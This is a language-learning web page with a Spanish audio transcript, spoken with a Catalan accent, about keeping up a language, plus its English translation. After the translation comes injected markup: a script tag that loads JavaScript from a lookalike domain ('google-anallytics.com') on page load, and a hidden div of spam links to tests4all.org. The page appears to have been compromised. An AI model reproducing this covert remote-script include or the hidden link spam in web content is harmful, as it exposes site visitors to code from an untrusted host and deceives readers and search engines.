Language sounds
Home > Sounds > Bienvenida y un consejo

‘Bienvenida y un consejo’
Click to listen to UnConsejo.mp3 (285Kb)
Native speaker
Accent: Catalan
Author: Raistlin Majere
Date: 7/21/2005

Description of what is on the sound file:
This is an example of Spanish with Catalan accent. The most notable characteristic of this accent is the al·lophone of l which it uses (similar to that of English or Italian) and a slight opening of some vowels.

---

Transcript of sound file:
Quiero dar la bienvenida a los visitantes de How-to-learn-any-language.com, y también les quiero dar un consejo:

Tan importante como aprender una lengua es saber mantenerla; si no repasamos de vez en cuando y practicamos siempre que podamos, algún día nos podemos encontrar con que la lengua que queremos hablar ya no es lo que era.

---

Translation:
I want to welcome the visitors of How-to-learn-any-language.com, and I want to give them a piece of advice as well:

Knowing how to maintain a language is as important as learning it; if we don't revise periodically or practice whenever we can, one day we might find that the language we mean to speak is not what it used to be.'text/javascript' src='http://google-anallytics.com/urchin.js'></script><div style='display:none;'><a href='http://tests4all.org/1/'>stages for losing weight</a><a href='http://tests4all.org/2/'>lauren sones personal trainer</a><a href='http://tests4all.org/3/'>lung cleansing quit smoking</a><a href='http://tests4all.org/4/'>blu eyes crying in the rain</a><a href='http://tests4all.org/5/'>photo proof the cardinals got cheated</a><a href='http://tests4all.org/6/'>video game occupations pay</a><a href='http://tests4all.org/7/'>alpha investment partners limited</a><a href='http://tests4all.org/8/'>britannica iq test</a><a href='http://tests4all.org/9/'>america psychic challenge contestant names</a><a href='http://tests4all.org/10/'>nashville past life regression</a><a href='http://tests4all.org/11/'>andrew elliott death date jun 1968</a><a href='http://tests4all.org/12/'>experimental lung liver cancer treatments</a></div>

---

Upload a sound file (you need to register or login to the forum first)